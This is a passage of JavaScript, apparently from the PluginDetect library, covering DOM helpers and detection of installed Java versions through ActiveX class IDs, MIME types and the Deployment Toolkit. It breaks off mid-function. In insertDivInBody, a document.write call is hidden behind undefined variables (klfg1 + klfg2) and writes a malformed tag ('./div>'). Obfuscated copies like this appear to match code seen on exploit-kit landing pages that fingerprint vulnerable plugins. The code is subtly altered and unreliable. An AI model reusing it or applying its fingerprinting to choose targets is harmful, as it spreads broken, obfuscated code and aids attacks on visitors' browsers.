  1460.           init: function() {
  1461.               var b = this,
  1462.                   a = b.$
  1463.           },
  1464.           concatFn: function(d, c) {
  1465.               return function() {
  1466.                   d();
  1467.                   if (typeof c == "function") {
  1468.                       c()
  1469.                   }
  1470.               }
  1471.           },
  1472.           funcs0: [],
  1473.           funcs: [],
  1474.           count: 0,
  1475.           countMax: 1,
  1476.           intervalLength: 50
  1477.       },
  1478.       DOM: {
  1479.           $: 1,
  1480.           isEnabled: {
  1481.               $: 1,
  1482.               objectTag: function() {
  1483.                   var a = this.$;
  1484.                   return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  1485.               },
  1486.               objectProperty: function() {
  1487.                   var a = this.$;
  1488.                   return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  1489.               }
  1490.           },
  1491.           div: null,
  1492.           divID: "plugindetect",
  1493.           divClass: "doNotRemove",
  1494.           divWidth: 50,
  1495.           getDiv: function() {
  1496.               var a = this;
  1497.               return a.div || document.getElementById(a.divID) || null
  1498.           },
  1499.           isDivPermanent: function() {
  1500.               var b = this,
  1501.                   c = b.$,
  1502.                   a = b.getDiv();
  1503.               return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.toLowerCase()) > -1 ? 1 : 0
  1504.           },
  1505.           initDiv: function(b) {
  1506.               var c = this,
  1507.                   d = c.$,
  1508.                   a;
  1509.               if (!c.div) {
  1510.                   a = c.getDiv();
  1511.                   if (a) {
  1512.                       c.div = a
  1513.                   } else {
  1514.                       if (b) {
  1515.                           c.div = document.createElement("div");
  1516.                           c.div.id = c.divID
  1517.                       }
  1518.                   }
  1519.                   if (c.div) {
  1520.                       c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) + "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  1521.                       if (!a) {
  1522.                           c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  1523.                           c.insertDivInBody(c.div)
  1524.                       }
  1525.                   }
  1526.               }
  1527.           },
  1528.           pluginSize: 1,
  1529.           altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  1530.           emptyNode: function(c) {
  1531.               var b = this,
  1532.                   d = b.$,
  1533.                   a, f;
  1534.               if (c) {
  1535.                   if (d.browser.isIE) {
  1536.                       b.setStyle(c, ["display", "none"])
  1537.                   }
  1538.                   try {
  1539.                       c.innerHTML = ""
  1540.                   } catch (f) {}
  1541.               }
  1542.           },
  1543.           LASTfuncs: [],
  1544.           onDoneEmptyDiv: function() {
  1545.               var f = this,
  1546.                   g = f.$,
  1547.                   b, d, c, a, h;
  1548.               f.initDiv();
  1549.               if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length) {
  1550.                   return
  1551.               }
  1552.               for (b in g.Plugins) {
  1553.                   d = g.Plugins[b];
  1554.                   if (d) {
  1555.                       if (d.OTF == 3 || (d.funcs && d.funcs.length)) {
  1556.                           return
  1557.                       }
  1558.                   }
  1559.               }
  1560.               g.ev.callArray(f.LASTfuncs);
  1561.               a = f.getDiv();
  1562.               if (a) {
  1563.                   if (f.isDivPermanent()) {} else {
  1564.                       if (a.childNodes) {
  1565.                           for (b = a.childNodes.length - 1; b >= 0; b--) {
  1566.                               c = a.childNodes[b];
  1567.                               f.emptyNode(c)
  1568.                           }
  1569.                           try {
  1570.                               a.innerHTML = ""
  1571.                           } catch (h) {}
  1572.                       }
  1573.                       if (a.parentNode) {
  1574.                           try {
  1575.                               a.parentNode.removeChild(a)
  1576.                           } catch (h) {}
  1577.                           a = null;
  1578.                           f.div = null
  1579.                       }
  1580.                   }
  1581.               }
  1582.           },
  1583.           width: function() {
  1584.               var g = this,
  1585.                   e = g.DOM,
  1586.                   f = e.$,
  1587.                   d = g.span,
  1588.                   b, c, a = -1;
  1589.               b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  1590.               c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  1591.               return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  1592.           },
  1593.           obj: function(b) {
  1594.               var d = this,
  1595.                   c = d.span,
  1596.                   a = c && c.firstChild ? c.firstChild : null;
  1597.               return a
  1598.           },
  1599.           readyState: function() {
  1600.               var b = this,
  1601.                   a = b.DOM.$;
  1602.               return a.browser.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  1603.           },
  1604.           objectProperty: function() {
  1605.               var d = this,
  1606.                   b = d.DOM,
  1607.                   c = b.$,
  1608.                   a;
  1609.               if (b.isEnabled.objectProperty()) {
  1610.                   a = c.getPROP(d.obj(), "object")
  1611.               }
  1612.               return a
  1613.           },
  1614.           getTagStatus: function(b, m, r, p, f, h) {
  1615.               var s = this,
  1616.                   d = s.$,
  1617.                   q;
  1618.               if (!b || !b.span) {
  1619.                   return -2
  1620.               }
  1621.               var k = b.width(),
  1622.                   c = b.readyState(),
  1623.                   a = b.objectProperty();
  1624.               if (a) {
  1625.                   return 1.5
  1626.               }
  1627.               var g = /clsid\s*\:/i,
  1628.                   o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  1629.                   i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  1630.                   l = b && g.test(b.outerHTML || "") ? o : i;
  1631.               if (!m || !m.span || !l || !l.span) {
  1632.                   return 0
  1633.               }
  1634.               var j = l.width(),
  1635.                   n = m.width(),
  1636.                   t = l.readyState();
  1637.               if (k < 0 || j < 0 || n <= s.pluginSize) {
  1638.                   return 0
  1639.               }
  1640.               if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  1641.                   b.pi = 1
  1642.               }
  1643.               if (j < n) {
  1644.                   return b.pi ? -0.1 : 0
  1645.               }
  1646.               if (k >= n) {
  1647.                   if (!b.winLoaded && d.win.loaded) {
  1648.                       return b.pi ? -0.5 : -1
  1649.                   }
  1650.                   if (d.isNum(f)) {
  1651.                       if (!d.isNum(b.count2)) {
  1652.                           b.count2 = f
  1653.                       }
  1654.                       if (f - b.count2 > 0) {
  1655.                           return b.pi ? -0.5 : -1
  1656.                       }
  1657.                   }
  1658.               }
  1659.               try {
  1660.                   if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  1661.                       if (!b.winLoaded && d.win.loaded) {
  1662.                           return 1
  1663.                       }
  1664.                       if (b.winLoaded && d.isNum(f)) {
  1665.                           if (!d.isNum(b.count)) {
  1666.                               b.count = f
  1667.                           }
  1668.                           if (f - b.count >= 5) {
  1669.                               return 1
  1670.                           }
  1671.                       }
  1672.                   }
  1673.               } catch (q) {}
  1674.               return b.pi ? -0.1 : 0
  1675.           },
  1676.           setStyle: function(b, h) {
  1677.               var c = this,
  1678.                   d = c.$,
  1679.                   g = b.style,
  1680.                   a, f;
  1681.               if (g && h) {
  1682.                   for (a = 0; a < h.length; a = a + 2) {
  1683.                       try {
  1684.                           g[h[a]] = h[a + 1]
  1685.                       } catch (f) {}
  1686.                   }
  1687.               }
  1688.           },
  1689.           insertDivInBody: function(a, h) {
  1690.               var j = this,
  1691.                   d = j.$,
  1692.                   g, b = "pd33993399",
  1693.                   c = null,
  1694.                   i = h ? window.top.document : window.document,
  1695.                   f = i.getElementsByTagName("body")[0] || i.body;
  1696.               if (!f) {
  1697.                   try {
  1698.                       i[klfg1 + klfg2]('<div id="' + b + '">./div>');
  1699.                       c = i.getElementById(b)
  1700.                   } catch (g) {}
  1701.               }
  1702.               f = i.getElementsByTagName("body")[0] || i.body;
  1703.               if (f) {
  1704.                   f.insertBefore(a, f.firstChild);
  1705.                   if (c) {
  1706.                       f.removeChild(c)
  1707.                   }
  1708.               }
  1709.           },
  1710.           defaultStyle: ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"],
  1711.           insert: function(b, i, g, h, c, q, o) {
  1712.               var s = this,
  1713.                   f = s.$,
  1714.                   r, t = document,
  1715.                   v, m, p = t.createElement("span"),
  1716.                   k, a, l = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ? "hidden;" : "visible;") + "display:inline;";
  1717.               if (!f.isDefined(h)) {
  1718.                   h = ""
  1719.               }
  1720.               if (f.isString(b) && (/[^\s]/).test(b)) {
  1721.                   b = b.toLowerCase().replace(/\s/g, "");
  1722.                   v = "<" + b + " ";
  1723.                   v += 'style="' + l + '" ';
  1724.                   var j = 1,
  1725.                       u = 1;
  1726.                   for (k = 0; k < i.length; k = k + 2) {
  1727.                       if (/[^\s]/.test(i[k + 1])) {
  1728.                           v += i[k] + '="' + i[k + 1] + '" '
  1729.                       }
  1730.                       if ((/width/i).test(i[k])) {
  1731.                           j = 0
  1732.                       }
  1733.                       if ((/height/i).test(i[k])) {
  1734.                           u = 0
  1735.                       }
  1736.                   }
  1737.                   v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize + '" ' : "");
  1738.                   v += ">";
  1739.                   for (k = 0; k < g.length; k = k + 2) {
  1740.                       if (/[^\s]/.test(g[k + 1])) {
  1741.                           v += '<param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  1742.                       }
  1743.                   }
  1744.                   v += h + "</" + b + ">"
  1745.               } else {
  1746.                   b = "";
  1747.                   v = h
  1748.               }
  1749.               if (!o) {
  1750.                   s.initDiv(1)
  1751.               }
  1752.               var n = o || s.getDiv();
  1753.               m = {
  1754.                   span: null,
  1755.                   winLoaded: f.win.loaded,
  1756.                   tagName: b,
  1757.                   outerHTML: v,
  1758.                   DOM: s,
  1759.                   time: new Date().getTime(),
  1760.                   width: s.width,
  1761.                   obj: s.obj,
  1762.                   readyState: s.readyState,
  1763.                   objectProperty: s.objectProperty
  1764.               };
  1765.               if (n && n.parentNode) {
  1766.                   s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : ["fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  1767.                   n.appendChild(p);
  1768.                   try {
  1769.                       p.innerHTML = v
  1770.                   } catch (r) {};
  1771.                   m.span = p;
  1772.                   m.winLoaded = f.win.loaded
  1773.               }
  1774.               return m
  1775.           }
  1776.       },
  1777.       file: {
  1778.           $: 1,
  1779.           any: "fileStorageAny999",
  1780.           valid: "fileStorageValid999",
  1781.           save: function(d, f, c) {
  1782.               var b = this,
  1783.                   e = b.$,
  1784.                   a;
  1785.               if (d && e.isDefined(c)) {
  1786.                   if (!d[b.any]) {
  1787.                       d[b.any] = []
  1788.                   }
  1789.                   if (!d[b.valid]) {
  1790.                       d[b.valid] = []
  1791.                   }
  1792.                   d[b.any].push(c);
  1793.                   a = b.split(f, c);
  1794.                   if (a) {
  1795.                       d[b.valid].push(a)
  1796.                   }
  1797.               }
  1798.           },
  1799.           getValidLength: function(a) {
  1800.               return a && a[this.valid] ? a[this.valid].length : 0
  1801.           },
  1802.           getAnyLength: function(a) {
  1803.               return a && a[this.any] ? a[this.any].length : 0
  1804.           },
  1805.           getValid: function(c, a) {
  1806.               var b = this;
  1807.               return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1808.           },
  1809.           getAny: function(c, a) {
  1810.               var b = this;
  1811.               return c && c[b.any] ? b.get(c[b.any], a) : null
  1812.           },
  1813.           get: function(d, a) {
  1814.               var c = d.length - 1,
  1815.                   b = this.$.isNum(a) ? a : c;
  1816.               return (b < 0 || b > c) ? null : d[b]
  1817.           },
  1818.           split: function(g, c) {
  1819.               var b = this,
  1820.                   e = b.$,
  1821.                   f = null,
  1822.                   a, d;
  1823.               g = g ? g.replace(".", "\\.") : "";
  1824.               d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  1825.               if (e.isString(c) && d.test(c)) {
  1826.                   a = (RegExp.$1).split("/");
  1827.                   f = {
  1828.                       name: a[a.length - 1],
  1829.                       ext: RegExp.$2,
  1830.                       full: c
  1831.                   };
  1832.                   a[a.length - 1] = "";
  1833.                   f.path = a.join("/")
  1834.               }
  1835.               return f
  1836.           },
  1837.           z: 0
  1838.       },
  1839.       Plugins: {
  1840.           java: {
  1841.               $: 1,
  1842.               mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1843.               mimeType_dummy: "application/dummymimejavaapplet",
  1844.               classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1845.               classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1846.               navigator: {
  1847.                   $: 1,
  1848.                   a: (function() {
  1849.                       var b, a = !0;
  1850.                       try {
  1851.                           a = window.navigator.javaEnabled()
  1852.                       } catch (b) {}
  1853.                       return a
  1854.                   })(),
  1855.                   javaEnabled: function() {
  1856.                       var t = this;
  1857.                       return t.a
  1858.                   },
  1859.                   mimeObj: 0,
  1860.                   pluginObj: 0
  1861.               },
  1862.               OTF: null,
  1863.               getVerifyTagsDefault: function() {
  1864.                   return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1865.               },
  1866.               getVersion: function(j, g, i) {
  1867.                   var b = this,
  1868.                       d = b.$,
  1869.                       e, a = b.applet,
  1870.                       h = b.verify,
  1871.                       k = b.navigator,
  1872.                       f = null,
  1873.                       l = null,
  1874.                       c = null;
  1875.                   if (b.getVersionDone === null) {
  1876.                       b.OTF = 0;
  1877.                       k.mimeObj = d.hasMimeType(b.mimeType);
  1878.                       if (k.mimeObj) {
  1879.                           k.pluginObj = k.mimeObj.enabledPlugin
  1880.                       }
  1881.                       if (h) {
  1882.                           h.begin()
  1883.                       }
  1884.                   }
  1885.                   a.setVerifyTagsArray(i);
  1886.                   d.file.save(b, ".jar", g);
  1887.                   if (b.getVersionDone === 0) {
  1888.                       if (a.should_Insert_Query_Any()) {
  1889.                           e = a.insert_Query_Any(j);
  1890.                           b.setPluginStatus(e[0], e[1], f, j)
  1891.                       }
  1892.                       return
  1893.                   }
  1894.                   if ((!f || d.dbug) && b.navMime.query().version) {
  1895.                       f = b.navMime.version
  1896.                   }
  1897.                   if ((!f || d.dbug) && b.DTK.query(d.dbug).version) {
  1898.                       f = b.DTK.version
  1899.                   }
  1900.                   if ((!f || d.dbug) && b.navPlugin.query().version) {
  1901.                       f = b.navPlugin.version
  1902.                   }
  1903.                   if (b.nonAppletDetectionOk(f)) {
  1904.                       c = f
  1905.                   }
  1906.                   b.setPluginStatus(c, l, f, j);
  1907.                   if (a.should_Insert_Query_Any()) {
  1908.                       e = a.insert_Query_Any(j);
  1909.                       if (e[0]) {
  1910.                           c = e[0];
  1911.                           l = e[1]
  1912.                       }
  1913.                   }
  1914.                   b.setPluginStatus(c, l, f, j)
  1915.               },
  1916.               nonAppletDetectionOk: function(b) {
  1917.                   var d = this,
  1918.                       e = d.$,
  1919.                       a = d.navigator,
  1920.                       c = 1;
  1921.                   if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
  1922.                       c = 0
  1923.                   } else {
  1924.                       if (e.OS >= 20) {} else {
  1925.                           if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1926.                               c = 0
  1927.                           }
  1928.                       }
  1929.                   }
  1930.                   return c
  1931.               },
  1932.               setPluginStatus: function(d, i, g, h) {
  1933.                   var b = this,
  1934.                       e = b.$,
  1935.                       f, c = 0,
  1936.                       a = b.applet;
  1937.                   g = g || b.version0;
  1938.                   f = a.isRange(d);
  1939.                   if (f) {
  1940.                       if (a.setRange(f, h) == d) {
  1941.                           c = f
  1942.                       }
  1943.                       d = 0
  1944.                   }
  1945.                   if (b.OTF < 3) {
  1946.                       b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1947.                   }
  1948.                   if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1949.                       b.installed = g ? -0.2 : -1
  1950.                   }
  1951.                   if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1952.                       b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 : -0.5)
  1953.                   }
  1954.                   if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1955.                       if (d) {
  1956.                           b.installed = 1
  1957.                       } else {
  1958.                           if (c) {
  1959.                               b.installed = c > 0 ? 0.7 : -0.1
  1960.                           } else {
  1961.                               if (b.NOTF.isJavaActive(1) == 1) {
  1962.                                   if (g) {
  1963.                                       b.installed = 1;
  1964.                                       d = g
  1965.                                   } else {
  1966.                                       b.installed = 0
  1967.                                   }
  1968.                               } else {
  1969.                                   if (g) {
  1970.                                       b.installed = -0.2
  1971.                                   } else {
  1972.                                       b.installed = -1
  1973.                                   }
  1974.                               }
  1975.                           }
  1976.                       }
  1977.                   }
  1978.                   if (g) {
  1979.                       b.version0 = e.formatNum(e.getNum(g))
  1980.                   }
  1981.                   if (d && !c) {
  1982.                       b.version = e.formatNum(e.getNum(d))
  1983.                   }
  1984.                   if (i && e.isString(i)) {
  1985.                       b.vendor = i
  1986.                   }
  1987.                   if (!b.vendor) {
  1988.                       b.vendor = ""
  1989.                   }
  1990.                   if (b.verify && b.verify.isEnabled()) {
  1991.                       b.getVersionDone = 0
  1992.                   } else {
  1993.                       if (b.getVersionDone != 1) {
  1994.                           if (b.OTF < 2) {
  1995.                               b.getVersionDone = 0
  1996.                           } else {
  1997.                               b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1998.                           }
  1999.                       }
  2000.                   }
  2001.               },
  2002.               DTK: {
  2003.                   $: 1,
  2004.                   hasRun: 0,
  2005.                   status: null,
  2006.                   VERSIONS: [],
  2007.                   version: "",
  2008.                   HTML: null,
  2009.                   Plugin2Status: null,
  2010.                   classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  2011.                   mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  2012.                   isDisabled: function(a) {
  2013.                       var c = this,
  2014.                           d = c.$,
  2015.                           b = d.browser;
  2016.                       if (!a && (!d.DOM.isEnabled.objectTag() || (b.isGecko && d.compareNums(b.verGecko, d.formatNum("1.6")) <= 0) || (b.isSafari && d.OS == 1 && (!b.verSafari || d.compareNums(b.verSafari, "5,1,0,0") < 0)) || b.isChrome)) {
  2017.                           return 1
  2018.                       }
  2019.                       return 0
  2020.                   },
  2021.                   query: function(n) {
  2022.                       var l = this,
  2023.                           h = l.$,
  2024.                           f = l.$$,
  2025.                           k, m, i, a = h.DOM.altHTML,
  2026.                           g = {},
  2027.                           b, d = null,
  2028.                           j = null,
  2029.                           c = (l.hasRun || l.isDisabled(n));
  2030.                       l.hasRun = 1;
  2031.                       if (c) {
  2032.                           return l
  2033.                       }
  2034.                       l.status = 0;
  2035.                       if (h.browser.isIE) {
  2036.                           for (m = 0; m < l.classID.length; m++) {
  2037.                               l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  2038.                               d = l.HTML.obj();
  2039.                               if (h.getPROP(d, "jvms")) {
  2040.                                   break
  2041.                               }
  2042.                           }
  2043.                       } else {
  2044.                           i = h.hasMimeType(l.mimeType);
  2045.                           if (i && i.type) {
  2046.                               l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  2047.                               d = l.HTML.obj()
  2048.                           }
  2049.                       }
  2050.                       if (d) {
  2051.                           try {
  2052.                               b = h.getPROP(d, "jvms");
  2053.                               if (b) {
  2054.                                   j = b.getLength();
  2055.                                   if (h.isNum(j)) {
  2056.                                       l.status = j > 0 ? 1 : -1;
  2057.                                       for (m = 0; m < j; m++) {
  2058.                                           i = h.getNum(b.get(j - 1 - m).version);
  2059.                                           if (i) {
  2060.                                               l.VERSIONS.push(i);
  2061.                                               g["a" + h.formatNum(i)] = 1
  2062.                                           }
  2063.                                       }
  2064.                                   }
  2065.                               }
  2066.                           } catch (k) {}
  2067.                       }
  2068.                       i = 0;
  2069.                       for (m in g) {
  2070.                           i++
  2071.                       }
  2072.                       if (i && i !== l.VERSIONS.length) {
  2073.                           l.VERSIONS = []
  2074.                       }
  2075.                       if (l.VERSIONS.length) {
  2076.                           l.version = h.formatNum(l.VERSIONS[0])
  2077.                       };
  2078.                       return l
  2079.                   }
  2080.               },
  2081.               navMime: {
  2082.                   $: 1,
  2083.                   hasRun: 0,
  2084.                   mimetype: "",
  2085.                   version: "",
  2086.                   length: 0,
  2087.                   mimeObj: 0,
  2088.                   pluginObj: 0,
  2089.                   isDisabled: function() {
  2090.                       var b = this,
  2091.                           d = b.$,
  2092.                           c = b.$$,
  2093.                           a = c.navigator;
  2094.                       if (d.browser.isIE || !a.mimeObj || !a.pluginObj) {
  2095.                           return 1
  2096.                       }
  2097.                       return 0
  2098.                   },
  2099.                   query: function() {
  2100.                       var i = this,
  2101.                           f = i.$,
  2102.                           a = i.$$,
  2103.                           b = (i.hasRun || i.isDisabled());
  2104.                       i.hasRun = 1;
  2105.                       if (b) {
  2106.                           return i
  2107.                       };
  2108.                       var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  2109.                           g, l, j, d = "",
  2110.                           h = "a",
  2111.                           o, m, k = {},
  2112.                           c = f.formatNum("0");
  2113.                       for (l = 0; l < navigator.mimeTypes.length; l++) {
  2114.                           o = navigator.mimeTypes[l];
  2115.                           m = o ? o.enabledPlugin : 0;
  2116.                           g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  2117.                           if (g && m && (m.description || m.name)) {
  2118.                               if (!k[h + g]) {
  2119.                                   i.length++
  2120.                               }
  2121.                               k[h + g] = o.type;
  2122.                               if (f.compareNums(g, c) > 0) {
  2123.                                   c = g
  2124.                               }
  2125.                           }
  2126.                       }
  2127.                       g = k[h + c];
  2128.                       if (g) {
  2129.                           o = f.hasMimeType(g);
  2130.                           i.mimeObj = o;
  2131.                           i.pluginObj = o ? o.enabledPlugin : 0;
  2132.                           i.mimetype = g;
  2133.                           i.version = c
  2134.                       };
  2135.                       return i
  2136.                   }
  2137.               },
  2138.               navPlugin: {
  2139.                   $: 1,
  2140.                   hasRun: 0,
  2141.                   version: "",
  2142.                   isDisabled: function() {
  2143.                       var d = this,
  2144.                           c = d.$,
  2145.                           b = d.$$,
  2146.                           a = b.navigator;
  2147.                       if (c.browser.isIE || !a.mimeObj || !a.pluginObj) {
  2148.                           return 1
  2149.                       }
  2150.                       return 0
  2151.                   },
  2152.                   query: function() {
  2153.                       var m = this,
  2154.                           e = m.$,
  2155.                           c = m.$$,
  2156.                           h = c.navigator,
  2157.                           j, l, k, g, d, a, i, f = 0,
  2158.                           b = (m.hasRun || m.isDisabled());
  2159.                       m.hasRun = 1;
  2160.                       if (b) {
  2161.                           return m
  2162.                       };
  2163.                       a = h.pluginObj.name || "";
  2164.                       i = h.pluginObj.description || "";
  2165.                       if (!f || e.dbug) {
  2166.                           g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  2167.                           if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  2168.                               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  2169.                           }
  2170.                       }
  2171.                       if (!f || e.dbug) {
  2172.                           g = /Java[^\d]*Plug-in/i;
  2173.                           l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  2174.                           k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  2175.                           if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  2176.                               l = 0
  2177.                           }
  2178.                           if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  2179.                               k = 0
  2180.                           }
  2181.                           d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  2182.                           if (d) {
  2183.                               f = d
  2184.                           }
  2185.                       }
  2186.                       if (!f && e.browser.isSafari && e.OS == 2) {
  2187.                           j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  2188.                           if (j) {
  2189.                               l = e.getNum(j.description);
  2190.                               if (l) {
  2191.                                   f = l
  2192.                               }
  2193.                           }
  2194.                       };
  2195.                       if (f) {
  2196.                           m.version = e.formatNum(f)
  2197.                       };
  2198.                       return m
  2199.                   }
  2200.               },
  2201.               applet: {
  2202.                   $: 1,
  2203.                   codebase: {
  2204.                       $: 1,
  2205.                       isMin: function(a) {
  2206.                           return this.$.codebase.isMin(this, a)
  2207.                       },
  2208.                       search: function() {
  2209.                           return this.$.codebase.search(this)
  2210.                       },
  2211.                       ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
  2212.                       DIGITMAX: [
  2213.                           [16, 64],
  2214.                           [0, 0, 512], 0, [0, 0, 0, 256], 0, [0, 0, 0, 1],
  2215.                           [0, 0, 0, 64],
  2216.                           [0, 0, 0, 32]
  2217.                       ],
  2218.                       DIGITMIN: [1, 0, 0, 0],
  2219.                       Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  2220.                       Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  2221.                       convert: [function(b, a) {
  2222.                           return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  2223.                       }, function(b, a) {
  2224.                           return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  2225.                       }, 0, function(b, a) {
  2226.                           return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  2227.                       }, 0, 1, function(b, a) {
  2228.                           return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  2229.                       }, 1]
  2230.                   },
  2231.                   results: [
  2232.                       [null, null],
  2233.                       [null, null],
  2234.                       [null, null],
  2235.                       [null, null]
  2236.                   ],
  2237.                   getResult: function() {
  2238.                       var b = this,
  2239.                           d = b.results,
  2240.                           a, c = [];
  2241.                       for (a = d.length - 1; a >= 0; a--) {
  2242.                           c = d[a];
  2243.                           if (c[0]) {
  2244.                               break
  2245.                           }
  2246.                       }
  2247.                       c = [].concat(c);
  2248.                       return c
  2249.                   },
  2250.                   DummySpanTagHTML: 0,
  2251.                   HTML: [0, 0, 0, 0],
  2252.                   active: [0, 0, 0, 0],
  2253.                   DummyObjTagHTML: 0,
  2254.                   DummyObjTagHTML2: 0,
  2255.                   allowed: [1, 1, 1, 1],
  2256.                   VerifyTagsHas: function(c) {
  2257.                       var d = this,
  2258.                           b;
  2259.                       for (b = 0; b < d.allowed.length; b++) {
  2260.                           if (d.allowed[b] === c) {
  2261.                               return 1
  2262.                           }
  2263.                       }
  2264.                       return 0
  2265.                   },
  2266.                   saveAsVerifyTagsArray: function(c) {
  2267.                       var b = this,
  2268.                           d = b.$,
  2269.                           a;
  2270.                       if (d.isArray(c)) {
  2271.                           for (a = 1; a < b.allowed.length; a++) {
  2272.                               if (c.length > a - 1 && d.isNum(c[a - 1])) {
  2273.                                   if (c[a - 1] < 0) {
  2274.                                       c[a - 1] = 0
  2275.                                   }
  2276.                                   if (c[a - 1] > 3) {
  2277.                                       c[a - 1] = 3
  2278.                                   }
  2279.                                   b.allowed[a] = c[a - 1]
  2280.                               }
  2281.                           }
  2282.                           b.allowed[0] = b.allowed[3]
  2283.                       }
  2284.                   },
  2285.                   setVerifyTagsArray: function(d) {
  2286.                       var b = this,
  2287.                           c = b.$,
  2288.                           a = b.$$;
  2289.                       if (a.getVersionDone === null) {
  2290.                           b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  2291.                       }
  2292.                       if (c.dbug) {
  2293.                           b.saveAsVerifyTagsArray([3, 3, 3])
  2294.                       } else {
  2295.                           if (d) {
  2296.                               b.saveAsVerifyTagsArray(d)
  2297.                           }
  2298.                       }
  2299.                   },
  2300.                   isDisabled: {
  2301.                       $: 1,
  2302.                       single: function(d) {
  2303.                           var a = this,
  2304.                               c = a.$,
  2305.                               b = a.$$;
  2306.                           if (d == 0) {
  2307.                               return c.codebase.isDisabled()
  2308.                           }
  2309.                           if ((d == 3 && !c.browser.isIE) || a.all()) {
  2310.                               return 1
  2311.                           }
  2312.                           if (d == 1 || d == 3) {
  2313.                               return !c.DOM.isEnabled.objectTag()
  2314.                           }
  2315.                           if (d == 2) {
  2316.                               return a.AppletTag()
  2317.                           }
  2318.                       },
  2319.                       aA_: null,
  2320.                       all: function() {
  2321.                           var c = this,
  2322.                               f = c.$,
  2323.                               e = c.$$,
  2324.                               b = e.navigator,
  2325.                               a = 0,
  2326.                               d = f.browser;
  2327.                           if (c.aA_ === null) {
  2328.                               if (f.OS >= 20) {
  2329.                                   a = 0
  2330.                               } else {
  2331.                                   if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
  2332.                                       a = 1
  2333.                                   } else {
  2334.                                       if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
  2335.                                           a = 1
  2336.                                       } else {
  2337.                                           if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
  2338.                                               a = 1
  2339.                                           }
